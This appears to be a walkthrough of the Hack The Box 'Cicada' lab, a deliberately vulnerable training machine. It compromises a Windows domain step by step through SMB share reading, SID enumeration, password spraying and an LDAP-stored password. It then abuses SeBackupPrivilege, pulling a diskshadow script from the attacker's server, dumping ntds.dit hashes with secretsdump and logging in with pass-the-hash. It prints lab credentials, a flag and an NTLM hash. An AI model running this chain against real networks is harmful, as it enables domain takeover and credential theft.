Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Cicada – HackTheBox
Abuse SeBackupPrivilege
Cicada – Hack The Box
Task 1 – What is the name of the non-default SMB share that is readable with guest access on Cicada?
We can enumerate the shares using SMB Client:
─(kali㉿kali)-[~/Desktop]
└─$ smbclient -L //10.129.6.231
Password for [WORKGROUP\\kali]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
DEV Disk
HR Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.6.231 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
We can then connect to the share:
──(kali㉿kali)-[~/Desktop]
└─$ smbclient //10.129.6.231/hr
Password for [WORKGROUP\\kali]:
Try "help" to get a list of possible commands.
smb: \\> ls
. D 0 Thu Mar 14 13:29:09 2024
.. D 0 Thu Mar 14 13:21:29 2024
Notice from HR.txt A 1266 Wed Aug 28 19:31:48 2024
4168447 blocks of size 4096. 465300 blocks available
Inside HR share, there is a text note:
smb: \\> ls
. D 0 Thu Mar 14 13:29:09 2024
.. D 0 Thu Mar 14 13:21:29 2024
Notice from HR.txt A 1266 Wed Aug 28 19:31:48 2024
4168447 blocks of size 4096. 465273 blocks available
smb: \\> get "Notice from HR.txt"
getting file \\Notice from HR.txt of size 1266 as Notice from HR.txt (16.1 KiloBytes/sec) (average 16.1 KiloBytes/sec)
Below is the content of the note:
Dear new hire!
Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.
Your default password is: Cicada$M6Corpb*@Lp#nZp!8
To change your password:
1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.
Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.
If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at [email protected].
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
Best regards,
Cicada Corp
Task 2 – What is the name of the file found in the HR share?
Notice from HR.txt
Task 3 – Which user account is still using the company default password?
Using the found password, we can first list the users using impacket-lookupsid:
─(kali㉿kali)-[/usr/share/wordlists]
└─$ impacket-lookupsid 'cicada.htb/guest'@cicada.htb -no-pass
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Brute forcing SIDs at cicada.htb
[*] StringBinding ncacn_np:cicada.htb[\\pipe\\lsarpc]
[*] Domain SID is: S-1-5-21-917908876-1423158569-3159038727
498: CICADA\\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: CICADA\\Administrator (SidTypeUser)
501: CICADA\\Guest (SidTypeUser)
502: CICADA\\krbtgt (SidTypeUser)
512: CICADA\\Domain Admins (SidTypeGroup)
513: CICADA\\Domain Users (SidTypeGroup)
514: CICADA\\Domain Guests (SidTypeGroup)
515: CICADA\\Domain Computers (SidTypeGroup)
516: CICADA\\Domain Controllers (SidTypeGroup)
517: CICADA\\Cert Publishers (SidTypeAlias)
518: CICADA\\Schema Admins (SidTypeGroup)
519: CICADA\\Enterprise Admins (SidTypeGroup)
520: CICADA\\Group Policy Creator Owners (SidTypeGroup)
521: CICADA\\Read-only Domain Controllers (SidTypeGroup)
522: CICADA\\Cloneable Domain Controllers (SidTypeGroup)
525: CICADA\\Protected Users (SidTypeGroup)
526: CICADA\\Key Admins (SidTypeGroup)
527: CICADA\\Enterprise Key Admins (SidTypeGroup)
553: CICADA\\RAS and IAS Servers (SidTypeAlias)
571: CICADA\\Allowed RODC Password Replication Group (SidTypeAlias)
572: CICADA\\Denied RODC Password Replication Group (SidTypeAlias)
1000: CICADA\\CICADA-DC$ (SidTypeUser)
1101: CICADA\\DnsAdmins (SidTypeAlias)
1102: CICADA\\DnsUpdateProxy (SidTypeGroup)
1103: CICADA\\Groups (SidTypeGroup)
1104: CICADA\\john.smoulder (SidTypeUser)
1105: CICADA\\sarah.dantelia (SidTypeUser)
1106: CICADA\\michael.wrightson (SidTypeUser)
1108: CICADA\\david.orelious (SidTypeUser)
1109: CICADA\\Dev Support (SidTypeGroup)
1601: CICADA\\emily.oscars (SidTypeUser)
Using the found usernames, we can brute force smb using crackmapexec. I first created the users list:
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
Then using crackmapexec:
──(kali㉿kali)-[~/Desktop]
└─$ crackmapexec smb cicada.htb -u users2.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
SMB cicada.htb 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB cicada.htb 445 CICADA-DC [-] cicada.htb\\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB cicada.htb 445 CICADA-DC [-] cicada.htb\\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB cicada.htb 445 CICADA-DC [-] cicada.htb\\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB cicada.htb 445 CICADA-DC [-] cicada.htb\\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB cicada.htb 445 CICADA-DC [-] cicada.htb\\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB cicada.htb 445 CICADA-DC [-] cicada.htb\\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB cicada.htb 445 CICADA-DC [+] cicada.htb\\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
Based on the found result, the user that have the default credentials is michael.wrightson
Task 4 – Which user has left their password in Active Directory metadata?
──(kali㉿kali)-[~/Desktop]
└─$ ldapsearch -x -H ldap://10.129.6.231 -D '[email protected]' -w 'Cicada$M6Corpb*@Lp#nZp!8' -b 'DC=cicada,DC=htb' "(objectClass=user)" description
# extended LDIF
#
# LDAPv3
# base <DC=cicada,DC=htb> with scope subtree
# filter: (objectClass=user)
# requesting: description
#
# Administrator, Users, cicada.htb
dn: CN=Administrator,CN=Users,DC=cicada,DC=htb
description: Built-in account for administering the computer/domain
# Guest, Users, cicada.htb
dn: CN=Guest,CN=Users,DC=cicada,DC=htb
description: Built-in account for guest access to the computer/domain
# CICADA-DC, Domain Controllers, cicada.htb
dn: CN=CICADA-DC,OU=Domain Controllers,DC=cicada,DC=htb
# krbtgt, Users, cicada.htb
dn: CN=krbtgt,CN=Users,DC=cicada,DC=htb
description: Key Distribution Center Service Account
# John Smoulder, Users, cicada.htb
dn: CN=John Smoulder,CN=Users,DC=cicada,DC=htb
# Sarah Dantelia, Users, cicada.htb
dn: CN=Sarah Dantelia,CN=Users,DC=cicada,DC=htb
# Michael Wrightson, Users, cicada.htb
dn: CN=Michael Wrightson,CN=Users,DC=cicada,DC=htb
# David Orelious, Users, cicada.htb
dn: CN=David Orelious,CN=Users,DC=cicada,DC=htb
description: Just in case I forget my password is aRt$Lp#7t*VQ!3
# Emily Oscars, Users, cicada.htb
dn: CN=Emily Oscars,CN=Users,DC=cicada,DC=htb
# search reference
ref: ldap://DomainDnsZones.cicada.htb/DC=DomainDnsZones,DC=cicada,DC=htb
# search reference
ref: ldap://ForestDnsZones.cicada.htb/DC=ForestDnsZones,DC=cicada,DC=htb
# search reference
ref: ldap://cicada.htb/CN=Configuration,DC=cicada,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 13
# numEntries: 9
# numReferences: 3
We have now a new user:
David Orelious
aRt$Lp#7t*VQ!3
Task 5 – What is the name of the PowerShell script located in the DEV share?
We can connect to the share using the newly found credentials:
(kali㉿kali)-[~/Desktop]
└─$ smbclient //10.129.6.231/dev -U 'cicada.htb\\david.orelious' --password='aRt$Lp#7t*VQ!3'
Try "help" to get a list of possible commands.
smb: \\> ls
. D 0 Thu Mar 14 13:31:39 2024
.. D 0 Thu Mar 14 13:21:29 2024
Backup_script.ps1 A 601 Wed Aug 28 19:28:22 2024
4168447 blocks of size 4096. 471662 blocks available
We now have a third set of credentials:
emily.oscars
Q!3@Lp#M6b*7t*Vt
Task 6 – What is the emily.oscars user’s password?
Q!3@Lp#M6b*7t*Vt
Task 7 – Submit the flag located in the emily.oscars user’s home directory.
We can connect to C$ share using emily:
┌──(kali㉿kali)-[~/Desktop]
└─$ smbclient //10.129.6.231/C$ -U 'cicada.htb\\emily.oscars' --password='Q!3@Lp#M6b*7t*Vt'
The flag is 7dd3bad555518cf99231944246be1dd0
Task 8 – What dangerous privilege does the emily.oscar user have associated with their account?
I connected to the DC using emily.oscars and evil-winrm
┌──(kali㉿kali)-[~/Desktop/bloodhound cicada]
└─$ evil-winrm -i 10.129.231.149 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
And then enumerated the privileges
*Evil-WinRM* PS C:\\Users\\emily.oscars.CICADA\\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
The dangerous privilege is SeBackupPrivilege
Task 9 – What is the Administrator user’s NTLM hash?
A user with this privilege can create a full backup of the entire system, including sensitive files like the Security Account Manager (SAM) and the Active Directory database “NT Directory Services. Directory Information Tree” (NTDS.dit).
Then, with that full backup, we can extract the hashes from these files to crack them offline or perform a Pass-the-Hash (PTH) attack to elevate our obtained shell.
I found this article that abused SeBackupPrivilge using diskshadow.
I first created a script : back_script.txt:
set verbose on
set metadata C:\\Windows\\Temp\\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup
Then converted the file 2 dos:
──(kali㉿kali)-[~/Desktop]
└─$ unix2dos back_script.txt
unix2dos: converting file back_script.txt to DOS format...
Then started a python server and download it on the target:
*Evil-WinRM* PS C:\\Users\\emily.oscars.CICADA> (New-Object Net.WebClient).DownloadFile('<http://10.10.14.126:4444/back_script.txt>', 'C:\\Users\\emily.oscars.CICADA\\back_script.txt')
*Evil-WinRM* PS C:\\Users\\emily.oscars.CICADA> ls
Directory: C:\\Users\\emily.oscars.CICADA
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 8/28/2024 10:32 AM Desktop
d-r--- 8/22/2024 2:22 PM Documents
d-r--- 5/8/2021 1:20 AM Downloads
d-r--- 5/8/2021 1:20 AM Favorites
d-r--- 5/8/2021 1:20 AM Links
d-r--- 5/8/2021 1:20 AM Music
d-r--- 5/8/2021 1:20 AM Pictures
d----- 5/8/2021 1:20 AM Saved Games
d-r--- 5/8/2021 1:20 AM Videos
-a---- 3/13/2026 7:17 PM 182 back_script.txt
Then executed the sciprt:
*Evil-WinRM* PS C:\\Users\\emily.oscars.CICADA> diskshadow /s C:\\Users\\emily.oscars.CICADA\\back_script.txt
Then copy ntds.dit:
*Evil-WinRM* PS C:\\Users\\emily.oscars.CICADA> cd E:
*Evil-WinRM* PS E:\\> robocopy /b E:\\Windows\\NTDS C:\\Windows\\Temp ntds.dit
Next, we get the system registry hive that contains the keys needed to decrypt the NTDS file with the reg save command.
reg save hklm\\system c:\\Windows\\temp\\system.bak
Then downloaded the ntds.dit and the SYSTEM registry hive using download feature in evil-winrm:
*Evil-WinRM* PS C:\\Windows\\Temp> download system.bak
*Evil-WinRM* PS C:\\Windows\\Temp> download ntds.dit
We can then decrypt using secretsdump:
impacket-secretsdump -ntds ntds.dit -system system.bak LOCAL
The Administrator’s hash is 2b87e7c93a3e8a0ea4a581937016f341
We can now connect using the admin account on winrm:
evil-winrm -i 10.129.231.149 -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341
